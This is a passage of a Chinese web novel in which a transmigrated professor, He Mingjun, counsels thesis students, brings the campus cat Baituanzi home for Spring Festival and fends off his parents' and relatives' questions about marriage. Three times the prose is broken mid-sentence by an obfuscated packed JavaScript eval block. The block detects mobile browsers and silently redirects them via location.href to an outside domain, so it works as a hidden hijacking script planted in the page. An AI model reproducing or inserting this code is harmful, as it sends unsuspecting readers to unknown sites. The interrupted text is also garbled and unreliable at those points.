杨淑云:“所以我才说贺老师认真又宽容呀,他对教学事业是认真又负责的,但你要是自己不思进取的话,他也不会管。” 说起来有点矛盾,但杨淑云是很喜欢并羡慕贺老师的随性和洒脱的。 她又说:“如果你们想读研,有贺老师指导,绝对会受益匪浅。” 秦昭对贺老师没有意见。 她更多的是觉得自己没用,又临近毕业有点焦虑,所以才一时没控制好情绪。 等回过神后,她就十分不好意思。 耽误了这么多时间,还麻烦学姐跑一趟。 “谢谢学姐,你是恰好来找贺老师吗?” 秦昭觉得学姐来开解自己有点凑巧。 杨淑云:“不是,是贺老师找我的,本来只是让我加你们好友,线上沟通一下,可刚好我就在楼下,还有时间,就上来了。” “麻烦学姐了……” 杨淑云摆摆手,说:“不麻烦,我也不是白干活,等之后贺老师肯定会请我喝奶茶之类的。” 秦昭就忙表态:“我请学姐喝吧。” 杨淑云:“我这么说,不是为了问你要好处,而是想告诉你,贺老师没什么好害怕的。看,他和学生沟通困难,只能求助研究生,事后还要送奶茶当谢礼。” 两个小学妹被逗笑了。 杨淑云伸手带着秦昭的胳膊往回走。 贺老师肯定觉得自己的时间被浪费了。 秦昭有点忐忑:“学姐,我要怎么和老师解释道歉啊?” 杨淑云:“不用整那些虚的,你要是说一大段客套话,贺老师只会觉得增加了沟通成本、浪费时间。” 他们平时和贺老师用邮件沟通的话,连“谢谢”都不回复的。 秦昭和林颖聪不禁哑然。 “贺老师这也太……太酷了吧。” 以前教他们大课的贺老师好像不是这样的,难道是因为他那时候是新老师不得不随波逐流,现在才放飞自我吗? 林颖聪忍不住八卦:“贺老师对学姐你们这些研究生也这样吗?” 杨淑云点点头,说:“简单高效,这是贺老师的信条。” “没有特殊对待的吗?好奇贺老师怎么对女朋友和老婆……” 杨淑云:“贺老师单身,但要说特殊对待的,那还真有一个。” “谁啊谁啊?” 杨淑云故意一脸神秘,等吊起两位学妹的好奇,她才说:“白团子。” 林颖聪:“……” 贺明隽平时在校园里算不上步履匆匆,但他大多时间都是专注地往前走,就算前面有人告白、打架这样的热闹事,他都目不斜视。 并非正事又能让他停下脚步的,大概只有白团子那只猫。 杨淑云无比确认这一点,除了不时看到贺明隽喂猫之外,还因为她还会帮忙喂白团子、给白团子刷牙洗澡等。 贺明隽因为学术交流等原因不可避免地会偶尔离开学校,那时他就想找有没有学生接受这样的兼职。 杨淑云等研究生就觉得他太拿他们当外人了,主动提出帮忙。 除了维护师生关系之外,更重要的是,不花钱就能撸猫这样的好事怎么能便宜别人? 现在白团子可高傲了,轻易不让人碰。 贺明隽不喜欢麻烦别人,他也习惯凡事算得一清二楚。 但基础的人情社交,他还是懂的。 所以他没有拒绝这些学生的好意,不过,他事后总是会买点零食奶茶等作为谢礼。 白团子早就变成贺明隽放养的猫了。 大多学生,尤其是喜欢校园里的猫都知道这一事实。 原因是某天一对情侣去逗白团子,男生的动作可能让白团子不适,他身上还有烟味,白团子就把他的手挠伤了。 若是以前,他肯定就是自作自受了,毕竟白团子这样的校园流浪猫找不到人负责。 然而,从这学期开始,贺明隽经常去喂他。 社会上也发生过类似的事件,就是经常喂猫的人进行赔偿的。 贺明隽支付了医疗费。 那位男生没好意思要赔偿,他已经被同学们骂惨了,甚至差点挑起金融学院和管理学院的骂战。 之后,贺明隽也没给白团子剪指甲,他只是发了第二条朋友圈:此猫伤人,请勿乱摸。 有加了他好友的同学截图后转发到朋友圈,后来更是大半个金融学院的人都帮忙扩散。 于是,大家都知道白团子现在有长期饭票了,就不像以前那样随便给点零食躺平任撸了。 他们纷纷调侃白团子是舔猫舔到最后应有尽有。 甚至还有人翻出暑假时的那条表白墙说说,要打赌输掉的人兑现赌注。 这是发生在这个学期间的事。 而之后的某一日,林颖聪为论文头秃的时候,忍不住发了条朋友圈: “想当贺老师的猫,吃得比我好,不用写论文,还没有毕业烦恼……” 下面的评论都是“+1”。 有人用白团子做了给表情包。 自此,在青禾财经大学,每到考试月、毕业季,这个表情包都风靡各个群。 这就是后话了。 回到当下—— 杨淑云带着两个学妹回到办公室。 秦昭只是简单说了句“抱歉,是我耽误大家时间了。” 贺明隽没再多说什么,继续了解林颖聪的情况后,就根据他们的问题做了梳理和答疑。 四位同学对贺明隽的第一印象完全被打破了,他们的好感度噌噌往上长。 回到宿舍后,和舍友谈起毕设导师,他们都是夸赞和炫耀。 “有贺老师指导毕设,论文查重、毕业答辩一次过那是板上钉钉的事。” ——他们是这样想的。 贺明隽的轻描淡写、思维清晰、信手拈来,给了他们一种写毕业论文很简单的错觉。 而等寒假期间,他们开始看文献、找数据、建模、敲键盘的时候,就发现完全不是这么一回事。 曾经信心满满的四人只想给自己点一首《我们不一样》。 * 大多数师生都是期待假期的到来的。 这些人中必然不包括贺明隽。 只是,暑假和中秋假他能找借口呆在学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239187|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校,但过年他却不能不“回家”。 贺明隽算是最后一批离校的。 校园里变得很空旷寂静,白团子那么聪明的猫自然意识到了不对劲。 给它刷牙洗澡的人不见了,它可不能再把喂饭的人弄丢了。 于是白团子几乎是寸步不离地跟着贺明隽。 贺明隽权衡一下,还是把白团子一起带走了。 贺教授的家就在临市,他是开车回去的,把白团子捎回去也不算麻烦。 事实证明,贺明隽做出这个决定是十分明智的。 贺父贺母倒是没有怀疑他换了个人,只是觉得他性格更稳重,社交面变窄了。 但以贺教授的身份住进那个家后,贺明隽的习惯和每日规划都被打破了。 首先,他几乎没有经历过家庭生活,连“爸”、“妈”这两个很简单的称呼,他一开始都难以叫出口。 这倒没什么,喊两天就习惯了。 他对这两个称呼也没有很在意,就当是在演戏。 一日三餐时间不固定,他还能适应。 可是,被迫浪费时间,做很多无意义的事,让贺明隽十分难以接受。 每天睡觉前回想这一天做了什么,都让他都有点难以入睡。 贺明隽如果没有什么事要办,他就不爱出门闲逛,附近没有体育馆,他锻炼身体也是用跑步机。 贺母就拽着他说:“你一个大男人,整天大门不出二门不迈是什么回事?走,跟我一块去买菜去!” 买菜可不止是到超市或菜市场选好货物、付款再返回那么简单。 而是—— “哎呀,这就是你儿子啊?好久不见了,我都快认不出来了。多大了?结婚没?” “这就是我儿子,才过二十九岁生日,他生月小,在大学当教授呢。还没女朋友,我现在就愁啊,你要是认识合适的姑娘一定帮忙介绍介绍啊。” 一旁像小孩一样被母亲催促“叫张阿姨”的贺明隽:“……” 明明就在几个月前,贺母还说他“都三十好几了”。 从小区的物业保洁,到路边健身的阿姨,再到菜市场的摊贩……贺母遇见人就能聊几到几十分钟不等。 每天买个菜一来回就要花费一两个小时。 贺明隽觉得自己就像是被溜的白团子。 为什么每次出去买菜耗费的时间没有随着天数的增加而递减呢? 因为贺母每天见到的人、聊的话题都不一样。 嗯,这时候就不得不提一下贺母的工作了,一个光荣的人民教师。 所以她也是放寒假的。 在外面的时候,贺明隽就是一个工具人,配合着贺母炫娃就可以了。 而一旦在家里,贺明隽就遭到了全方位的嫌弃。 如果没有白团子分散贺母的注意力,贺明隽觉得自己一个人是承受不来的。 但即便贺母对白团子爱不释手,贺明隽也没有完全逃过。 贺母很会指桑骂槐、阴阳怪气,比如: “白团子啊,妈妈给你说啊,那是你哥哥。一大把年纪还连一个女朋友都没有带回家过的男人,不配当爸爸。” “哎呀,生儿子还不如养只猫,现在连陪我去逛街都不愿意了。” “我现在也算是网上说的,那什么猫狗双全了。” 这时候,贺父就会很配合四处看看,然后问:“狗?哪来的狗?咱家可没有养狗啊!” 贺母就会指着贺明隽说:“喏,那不是那么大一个单身狗!” …… 在学校,贺明隽就算有点高冷、不喜欢闲聊,学生们会配合,同事也有社交界线。 但现在,他面对的是这个身份的母亲,还是一位非常能言善辩、在家里掌权的母亲。 贺明隽:这个假期怎么这么漫长?什么时候能开学? 被撸又被溜、瘫成一张猫饼的白团子:喵喵…… 附……议…… 16. 重生文(16) 对于贺母的唠叨,贺明隽稍微有点厌烦,但还不至于情绪失控地乱发脾气。 其实贺母并没有太过分,她就像是心血来潮提一句,或是在试探他的态度,总是点到为止,而不会一直说个不停。 而且对贺明隽来说,那是“贺教授”的母亲,他现在担了这个身份,虽然做不到完全把她当亲人,可至少,他不会做出太不孝失礼的行为。 贺明隽并非是愚孝的人,只是在一些无伤大雅的小事上,他愿意顺着长辈。 整天不出门会被批评,贺明隽就去图书馆、办了□□身卡,甚至还买了双滑冰鞋。 对于滑冰,算不上他的爱好,他只是想多学一些技能。 贺教授会一点钢琴和吉他,而贺明隽对乐器是一窍不通,也不感兴趣,但他还是去学了。 贺明隽一向是个实用主义者。 以前他只专注自己的本职工作,在那一个方向钻研就够了。 但现在情况不同了,他不知道和系统的绑定关系什么时候能结束,以后又会经历什么样的任务世界,多掌握些技能总能有备无患。 系统看着贺明隽生活内容变得丰富,节奏慢了下来,就有一种老怀大慰的感觉。 人类是需要适当休息的,劳逸结合、张弛有度才有利于身心健康。 它一直担心任务者因为过度劳累而倒下,或是因为一直绷太紧在某个任务世界崩溃。 可是任务者太有主见,根本不听它这个系统言。 现在好了,有家人拿捏他。 贺明隽并不知道系统的担忧。 或许是贺明隽最初对待系统并不热络,对它说的“复活”也不感兴趣,这给了系统一种他不爱惜生命的错觉。 其实贺明隽是相当在意自己的身体健康的。 在他原本的世界,他不抽烟、不酗酒,如无必要不熬夜,饮食搭配营养均衡,还有健身的习惯……就是希望能健康地活得久一点。 现在他在遵照贺教授的偏好的基础上,也保持着这些的习惯。 当初贺明隽有点抗拒系统,一是因为他不信任它,二是因为他可以平静地接受死亡。 他活着的时候没有浪费生命,就算是意外死亡,他也没有遗憾。 世界上英年早逝的人不少,多他一个也不多。 贺明隽的人生态度,积极又悲观。 * 在贺家住了四五天之后,贺明隽找到新的生存模式,他的日常又变得有条不紊。 倒是白团子有点憋屈。 他们的房子面积不小,但到底比不上校园开阔、能任由白团子撒野。 这里也没有别的猫伙伴陪白团子玩,只有人类试图教会它用猫砂、给它穿新织的小衣服。 贺明隽现在除了投喂白团子,每天傍晚还会带着它出去溜达一圈。 这天,外面下雪了,贺明隽提着白团子回来,化掉的雪花落在他黑色大衣上留下浅浅的水渍。 客厅正在看电视的贺母转头,看了贺明隽的穿着,就说:“外面这么冷,你穿这么风度翩翩的,要是不知道你去遛猫,还以为你是去约会什么人呢。” 贺明隽准备脱大衣的手一顿,说:“没有。” 他要是现在把衣服脱掉,多半会得一句“进屋后不要立马脱衣服”的教训。 被贺明隽放在玄关处台子上的白团子从袋子里钻出来,一跃而下。 贺明隽把袋子叠好,压在装饰用的水晶球下。 “哎,你说你,养猫又不抱它,可怜的白团子。”贺母说着,检查了一眼白团子的爪子,是干净的。 她又抬头瞥了贺明隽一眼,意有所指地说:“难道你将来连孩子都不抱啊?现在不正好拿猫练练手。” 贺明隽:“没影的事……再说,孩子又不掉毛。” 贺母神色一松,把在外面受了冻的白团子搂在怀里。 贺明隽去洗了手,将大衣脱掉拿除尘刷扫了扫,才挂进玄关的衣柜。 他正准备回自己房间,就见贺父从阳台那边走过来,从柜子里拿了几瓶啤酒。 “走,咱爷俩去喝两杯,有上好的羊肉串,可惜梁老师这两天上火,没这个口福喽。” 梁老师就是贺母,父子俩都会这么称呼她。 他们一家除了“爸”、“妈”、“儿子”这样的常用称呼,贺父还被叫“老贺同志”,那贺教授自然是“小贺”了。 听到贺父的话,贺明隽浅抿了一下唇,没有拒绝,只是走到茶几旁从果盘里抓了几个砂糖橘。 他知道贺父不是单纯喊他吃串喝酒,而是有话要和他谈。 多半是因为他和原来的贺教授不同。 贺父贺母不会往他已经换了个人这种离谱的方向猜,但可能会觉得他是遇见了什么事。 贺明隽并没有丝毫的忐忑。 阳台上的灯光是暖黄色的,给人一种温馨安逸的感觉。 贺明隽坐在小塑料凳上,把砂糖橘放在电炉子上。 这是冬天比较常见的电炉子,用来取暖的同时,上面可以烤砂糖橘、香蕉等。 现在上面就放了两把锡纸包着的羊肉串。 旁边还有一个高点的椅子,上面是一盘炒花生米和一盘卤菜。 贺父把锡纸拆开,羊肉那独特的味道就飘了出来。 贺明隽鼻翼轻轻翕动,唇角有些紧绷,他伸手拿了个砂糖橘慢慢剥开。 “先吃肉,停会儿再吃橘子,不然对胃不好。”贺父递过来几支羊肉串。 贺明隽没接,只说:“还是爸你自己吃吧,我刚在外面吃了奶酪,不太饿,而且梁老师说过,羊肉不能和奶酪一起吃。” 系统有点很奇怪,他刚才在外面明明没有吃任何东西啊,为什么撒这种谎? 贺父惊讶:“还有这种忌口?” 贺明隽点头。 贺父也没再追问,而是乐呵呵道:“那看来只有我一个人有口福了。” 若是以前,贺明隽可能最多“嗯”一声,当做回应。 但现在,贺父那句话音刚落两秒,贺明隽就接道:“大晚上的,你也少吃点。” 之后,他接住贺父递过来的啤酒,只轻抿了一口沾湿嘴唇。 回应着贺父的话的同时,他已经将一个砂糖橘完全剥开,慢条斯理地一瓣一瓣吃着。 而橘子皮就被他虚握在手心,没有丢掉。 这时,系统已经从剧情和关于贺明隽的资料中找到了答案——原来的贺教授对羊肉还算比较喜欢,可贺明隽他在饮食上没有表现出特别的偏好,口味偏清淡,但羊肉他是完全不吃的。 因为这个发现,系统有点开心。 它总算知道一点任务者的喜好了,确切地说,应该是不喜欢的东西。 它就说嘛,人类怎么可能比它一个系统更清心寡欲、毫无情绪呢? 贺明隽确实不吃羊肉,他连这个味道都不太喜欢。 因为是冬天,阳台的门窗都关着,这气味散不开,让他有点难以忍受。 看着贺父已经喝空了一瓶,絮叨着他们前两天已经聊过的话题,而迟迟没有切入正题,贺明隽就直接对贺父道:“您和我还有什么拐弯抹角的?” 贺父又灌了一口酒,才说:“那我就直说了,你在学校是不是遇见什么事儿了?不管是工作上,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239188|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是感情上,都可以和家里说嘛。” “你年纪再大,我和梁老师都是你父母。我们又不是什么不开明的家长,要是你这老师当得不顺心,就换个工作。要是……要是感情上的问题,也可以和我们沟通,我们毕竟是过来人,而且你对象说不定将来就是咱一家人。” 贺明隽听着,渐渐觉出不对劲来了。 他的工作很顺利,他不讨厌这份工作。 这些话题他们之前就聊过,而且应该也能从他之前两个假期不回家,现在依旧不时和学生沟通论文相关问题等细节上看出来。 而且,贺父问起工作相关的事,只是一掠而过,似乎是过渡一下,为了引出后面的话。 所以,贺父是以为他的变化是受了情伤的缘故? 贺明隽对于自己的猜测并不确定,不过他也不想多探究。 他说:“我工作顺利,感情上没有任何坎坷,我现在单身。” 顿了一下,他又补充:“没有对谁求而不得,只是我暂时没有恋爱结婚的打算。” “啊?哦……”贺父还有点不适应贺明隽这样高效的沟通。 “那你对于结婚生子有什么规划?就算想晚婚,也该谈个女朋友了解磨合一下吧。” 贺明隽并没有听出来,贺父的重音落在了“女”字上,似乎在试探什么。 可能大多数父母对于子女的婚姻大事都比较操心吧。 贺明隽想。 他没有过这种体验,不过他对贺父贺母的做法表示理解。 只是理解归理解,他是不可能按照他们的期望生活的。 对于这个任务世界,对于贺教授这个身份,贺明隽看似接受,实则一直没有完全融入。 原有的的人际关系断不了,他是不可能再建立更复杂的关系。 太麻烦了。 贺明隽对自己认知还算清醒,他不适合和人居家过日子,以前他就没有成家的打算,现在更不会以贺教授的身份结婚。 但这些就不必向贺父解释或表态了。 他又不会在这里生活到终老。 于是,贺明隽说:“过两年再考虑吧,之前一直在读书、毕业后就又进入了大学,现在就想一个人轻松两年。” 贺明隽采用拖字决。 “贺明隽”能成为青禾财经大学最年轻的教授,除了天分,自然也少不了在相同的时间里付出比别人更多的努力。 贺明隽这个借口还算说得过去。 贺父一听也松了一口气,拍拍他的肩膀道:“你自己有想法就行,那我和梁老师就不瞎操心了,反正你从小就有主意。” 贺明隽应了一声,又听贺父说了些“年纪轻轻的,假期多出去玩玩,别老呆在学校或家里”之类的话。 看贺父喝完了两瓶啤酒,羊肉串也吃了一小半,贺明隽就又劝两句,起身回自己的房间,准备洗掉身上沾染的那一点淡淡的味道。 贺父贺母的主卧有独立卫浴,外面的浴室通常只有贺明隽用,他走出房间时,听到阳台的门被打开的声音,在门被关上前,一句话飘了出来: “这种事你就让我出面,哼,还好我老谋深算,选择旁敲侧击,没有直接问,要不然……” 这是贺父的声音。 而客厅已经没有贺母的身影。 他们应该是在交流这次谈话的结果吧。 不过,旁敲侧击? 贺明隽有点不解,他和贺父不是直接了当地沟通吗? 贺明隽也就稍微疑惑了两秒,他更在意的是,这场谈话他已经表明了自己的态度,贺父表示理解,那他以后应该会少听一些唠叨和暗示吧。 17. 重生文(17) 阳台上,贺母伸手拿了一串羊肉,咬下两块,边嚼边问道:“咱儿子怎么说?真不是……?” 贺父把刚才贺明隽的说辞大意转述一遍。 贺母听完,没有像贺父那么乐观。 “过两年再说……别是敷衍吧?” “嗯?”贺父一愣,“不会吧?” 这次谈话,是贺母提出的。 作为母亲,她本就比贺父细心点,再加上她还是个见多识广的高中老师。 见贺明隽比以前更沉默寡言,不爱和家人沟通,甚至连假期都有点不愿意回家,贺母就觉得他肯定是遇见什么事,且还是让他大受打击的大事。 再想想他年近三十了,连个女朋友就没有谈过…… 不是她王婆卖瓜,就她儿子这长相、身高、气质、家境、工作,应该不会缺少追求者吧? 而且他也到了该恋爱的年纪了。 贺母心里就隐隐有了个猜测:她儿子该不会不喜欢女人吧? 贺母对于那个群体并非一无所知。 班上的小女生会看男男恋爱的小说,她还在课堂上收过几本,事后翻看了一下,要说这是艺术作品的话,他们学校还出过两个男生抱在一起被教导主任抓的事。 如果自己的儿子是…… 贺母有点不愿意接受,但她也不会把这当成一种病,或者强硬地去要他改正。 她更在意的是孩子如今的情绪和态度。 他是自己发现这一点,一时难以接受,默默自闭了? 还是担心家人反对和异样的眼光? 唉,现在孩子大了,有什么心事烦闷也不会和父母说了。 贺母怕自己误会,还特意观察试探了几天。 然后,她就发现自己的猜测或者说担忧得到更进一步的印证。 比如:贺明隽在她提起结婚相亲的话题时会不耐烦地皱眉,然后转移话题。 比如:她托同事介绍的女生,名片都推过去了,贺明隽一个没加。 再比如:贺明隽的衣着和头发都比以前精致、妥帖得多,他以前在男生中算是爱干净的了,但也没有像现在这样一丝不苟;他带猫出去,回来时猫的爪垫都被擦得干干净净…… 贺母对于同性恋有点了解,但是不多。 她就感觉这几点似乎都对上了。 贺母并不十分确定,但她想,不管是不是,他们作为家长都该了解一下贺明隽对于人生大事的想法。 担心是自己误会,有损人民教师和母亲的形象,贺母就让贺父上了。 结果…… 近两年不考虑、想再享受两年单身生活? 这算是什么答案? “你就不能直接问?”贺母埋怨。 贺父小声反驳:“你怕尴尬,难道我这个当爹的就不要面子啦?” 看贺母眼睛一瞪,贺父连忙双手递过去一串羊肉串。 “儿孙自有儿孙福,我看小贺老师自己心里有数着呢,哪有半点困扰的样子?可能他就是长大了,更稳重了。梁老师就少操点心吧,这种事急不得。” 两人又随便聊着天,继续吃着剩下的串串和卤菜。 * 贺明隽从浴室出来时,贺父贺母还在阳台上。 他自然是不知道这段对话和背后的误会的。 他只是清楚地感受到,之后贺母确实不怎么再明示或暗示他到了年纪该成家了。 贺家的氛围是很好的,即便是没怎么感受过家庭温暖、一向淡漠的贺明隽也有点被感染。 他去商场买了块男士手表和一套金饰给贺父贺母当新年礼物。 贺明隽不太在意这些外物,但好像过年时亲戚间会比较这些。 那就买吧。 贺明隽本就离校晚,他回来时就快过小年了,因此他没静几天就要开始为过年而忙碌了。 对大多数国人来说,春节是一个很重要的节日。 贺明隽却不太在意这一天。 只是,现在他以贺教授的身份和家人在一起,就不能不入乡随俗。 扫房子、买肉囤菜、炸丸子、蒸花馍…… 这些贺明隽都是第一次体验。 略微有点麻烦,但他还能接受。 且这期间他也学会一些厨房技能。 之前贺明隽连蒸馒头、调饺子馅都不会。 贺母本来打算买点羊肉的,因为羊肉温补,很适合冬天吃。 但被贺明隽一句话劝住了,他只说自己托朋友买了几十斤黄牛肉。 贺母一问价钱,连猪肉鸡肉都少买了点。 除夕这晚,三人吃了年夜饭。 电视里播放着这个世界的春晚,贺明隽也不知道主持人、嘉宾以及节目和他那个世界是否有相似之处。 他以前不怎么看这些。 贺父提议三人斗地主,就去找扑克牌。 贺母也很有兴致,说:“小赌怡情,一局一块?” 这个时候,贺明隽若是拒绝,就太扫兴了,他默默拿出手机搜了斗地主的相关规则。 ——他接收的属于贺教授的记忆中没有这样细节的信息。 而他本身真的几乎一点娱乐都没有。 系统见状,觉得自己有了用武之地,保证道:“我会帮你记牌、算牌,一定会帮你赢的!” 贺明隽:“不用。” 他们只是随便玩玩,若他一直赢,恐怕贺父贺母的游戏体验就不怎么好了。 而且,五十四张牌而已,还是有规律的,记下并不能难。 桌椅、牌、零钱、瓜子糖果等都准备妥当。 贺明隽随便选了个位子坐下。 贺父则是先去拜了下财神,回来后在剩下的两个位子犹豫,还没落座呢,贺母就喊道:“我坐朝东的位子。” 于是,逆时针的顺序就成了贺明隽、贺母、贺父。 这种简单的小游戏不需要耗费什么心神,更何况贺明隽又不追求赢,因此他还有闲心思考别的事情。 只是另两位玩家有点认真,玩完一局还要复盘—— “你要是不出顺子就好了,刚好出到地主手里……” “我就差张九,结果底牌没抓到……” 有时他们还能扯到前几局,争论不休。 贺明隽嘴张了张,还是没有纠正。 贺母看了看贺明隽面前那一沓钱,在看看窝在他旁边的白团子,说:“是不是猫招财啊?” 她伸手就把白团子提了过去。 贺父也点了一下自己的钱,觉得自己下手晚了,就哼道:“你一个人民教师还搞这些迷信。” 现在只有贺明隽一个人赢。 等后半场的时候,贺明隽就开始放水了。 他出牌都不怎么需要犹豫,在等另两位思考纠结的时间,他能去查看手机消息。 今晚,各个群里都十分热闹,他还收到不少私发的祝福。 单手操作着回复后,他又在研究生群和“毕设令人头秃”的本科毕设群里各发了一个总额两百的红包。 这个时候大多数人不是在打牌就是在刷手机。 红包很快就被抢,接着一连串回复: “谢谢老板.jpg” “老师新年快乐!” 研究生把导师称为老板,这是一种自嘲,他们就像是打工人。 一开始,杨淑云等人偶尔也会调侃般称贺明隽为“贺老板”,但后来,不管是当面还是私下,他们都没有那么叫过。 因为他不是那种压榨学生、不认真教学的导师。 他们是发自内心地尊敬他。 贺明隽发完红包就没有再回复,而他的学生们表示已经很习惯了。 贺明隽一直陪着贺父贺母玩到跨完年。 最后,贺父贺母逆风翻盘,他们数着赢的钱,心情愉悦。 一切尽在掌握的贺明隽没有说话,他不用数,都知道自己输了多少。 贺明隽的作息一向很有规律,但今晚他可能是难得地熬了夜,外面的鞭炮声又不时响起,到了凌晨一点他还毫无睡意。 既然睡不着,他也不强求,在床头的小书柜里翻了下,打算找本书看。 放在一旁的手机屏幕亮了,一朵漂亮的烟花炸开,随后出现“新年快乐”四个大字,字的右下角还有一只白猫。 不是白团子的形象。 它过于精美,充满科技和艺术感。 这一看就是系统的杰作。 贺明隽轻声说:“新年快乐。” 系统又放了几朵烟花,屏幕上那只白猫转了几个圈,表达着它的愉悦。 它是第一个听到任务者说“新年快乐”的!虽然它只是系统,并不庆祝人类的新年。 这只小猫是系统为自己设计的虚拟形象,它现在没有积分,还买不起真正的“皮肤”,就只能做一个平面的形象感受一下。 最重要的是让任务者看看这只小猫是否和他心意,它还可以修改的。 贺明隽扫了一眼,说:“不错。” 系统憧憬了一番他们赚到积分后的美好未来,又想起今晚任务者和原贺教授父母的相处,它问:“你现在接受这对父母了吗?他们可真是好人。” 贺明隽没有回应。 贺父贺母确实是一对好父母,他们关心而不试图掌控孩子,尊重孩子的选择。 但与他有什么关系呢? 这只是任务而已,而且他也早过了需要家人关心照顾的年纪。 见贺明隽兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239189|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致不高,丝毫没有被家庭的温暖感染到,系统有些小心翼翼地问:“你不喜欢吗?” 贺明隽翻了一页书,答道:“没有。” 他不讨厌,但也算不上喜欢。 如果能选择的话,他还是觉得一个人比较自在。 系统不懂贺明隽的想法,它只是希望它的任务者能开心一点。 明明它只是一个追求积分的系统,为什么会有这种想法呢? 系统不禁有点困惑。 或许是任务者在任务世界比较开心的话,更有利于长久发展? 贺明隽托着书脊的左手食指轻点几下,轻飘飘地问:“你是在试图改造我么?” “没有!”系统有一种核心代码即将被人破解的紧张,虽然它也不明缘由。 贺明隽继续道:“那就不要再提这些与任务无关的事情。” 屏幕上那只小猫变成垂头丧气的模样,然后慢慢消失,屏幕熄掉。 贺明隽:“你这么希望我融入这个家庭,就不怕我真把他们当家人相处,等期限到了,不愿意脱离这个世界吗?” 系统:“我再也不提了!” 贺明隽满意地轻嗯一声。 他觉得系统有些奇怪,劝他享受家庭的温暖,与任务并无益处。 不过系统看起来就不聪明,他们对彼此都不算坦诚,贺明隽没再细究。 * 第二天,贺明隽依旧早早醒来。 这几天的安排就是走亲戚、各种聚会,贺明隽即便不喜欢,也不得不陪着。 亲戚们聚在一起,除了吃饭喝酒打牌,甚至可以说就算在吃饭喝酒打牌期间,也不耽误拉家常。 他们聊的内容无外乎工作、生活、孩子、孩子的工作或学习、孩子的孩子、催没孩子的人生孩子…… 不管是贺家这边,还是梁家这边,贺明隽都是别人家的孩子。 这种场合,他总是要被拉出来议论的。 看到贺父手上的新表、贺母的金镯子,亲戚们就无不羡慕又带着点酸气地表示:“还是你家明隽孝顺又有本事。” “那可不,人家年纪轻轻就是大学教授了。” “教大学,那一个月工资不低吧?” 贺明隽:“没多少。” 他这话倒不是谦虚,大学老师的薪酬不算高,依着贺教授的能力,离开校园能挣到更多的钱。 亲戚却不信。 “没钱,你这才工作就买上车了?你那车得二三十万吧?” “你爸那一块手表都顶我一个月工资了,要是挣得不多,你能舍得?” “明隽是教啥的?金融?哪个股票能赚钱,那不是一眼就能看出来?” “现在银行这利率都低得不行,明隽懂得这些,帮我们也理理财。” “是啊是啊……” 贺父刚想开口岔开话题,贺明隽就点头道:“可以。” 迎着数道或欣喜或意外的目光,贺明隽十分坦然地说:“就按照市面上的理财顾问的收费标准。” “这都是亲戚,还收费啊?” 贺明隽:“看在亲戚的份上,如果亏了,我就不收费。” “这还会亏啊?” 贺父忙接道:“都说‘理财有风险,投资需谨慎’嘛,他主要是在学校教书,念念课本就行了,像炒股这种实战,他能懂多少?” “你也是……”贺父面带指责地瞪了贺明隽一眼,“不过是运气好赚了点小钱,说什么大话?” 亲戚们说笑着,把话岔开了。 “明隽还年轻,又没有别的经济压力,敢冒险,咱们这有老有小、房贷车贷的,还是稳健点吧。” “说起来明隽也不小了吧?还没带女朋友回来呢?” 一听到某位长辈的这句话,几位达到法定结婚年纪的小辈先是看了贺明隽一眼,接着就是无奈地互相对视—— 来了来了,过年必备的催婚催生环节它来了! 当事人贺明隽倒还算淡定,听着亲戚七嘴八舌地讨论或建议,他说:“我眼光比较高,长得不能比我差,学历不能比我低,年龄不能比我高,要是有合适的,您几位给介绍一下?” 几位长辈:“……” 生怕没了贺明隽顶着、轮到自己被催婚时孤立无援、准备帮忙解围的同辈:“……” 可恶,又被他给装到了! 二十四岁就博士毕业的人这世上能有几个啊? 更别提长相了。 而且,想为他说话的弟弟妹妹们还觉得自己被背刺了。 以后他们被催婚时该怎么说?眼光比较高? 他们都能想到长辈会怎么回怼—— “你以为你是贺明隽啊?没有他的条件,还学他的眼光?” 18. 重生文(18) 饶是这么优秀的贺明隽,在开车回家的路上,也被贺父贺母批评了。 他们说他说话不够委婉,容易伤情面、得罪人。 贺明隽:“把丑话说前面,才不会伤情面。” “那你可以委婉一点,都是亲戚,而且说不定哪天就需要人帮忙呢。” 贺明隽应了一声,没再反驳。 每个人行为处事的习惯不同,他不喜欢人情往来,也觉得自己有底气不必那么小心翼翼、委屈自己来维护人际关系。 过完初五,贺明隽离开了“家”,这个时候返校显然不合适,所以他称自己是和同学一起去滑雪。 而实际上,只有他一个人。 比起篮球这样互动性比较强的项目,他还是觉得单人运动更自在随意一点。 白团子不方便带着,贺明隽就把它留下了。 期间,贺明隽也会和贺母视频,听说白团子不时挠门找他,到了傍晚该遛弯的时间,它还不习惯。 贺母吐槽白团子没良心,明明是她经常抱它、给它梳毛铲屎。 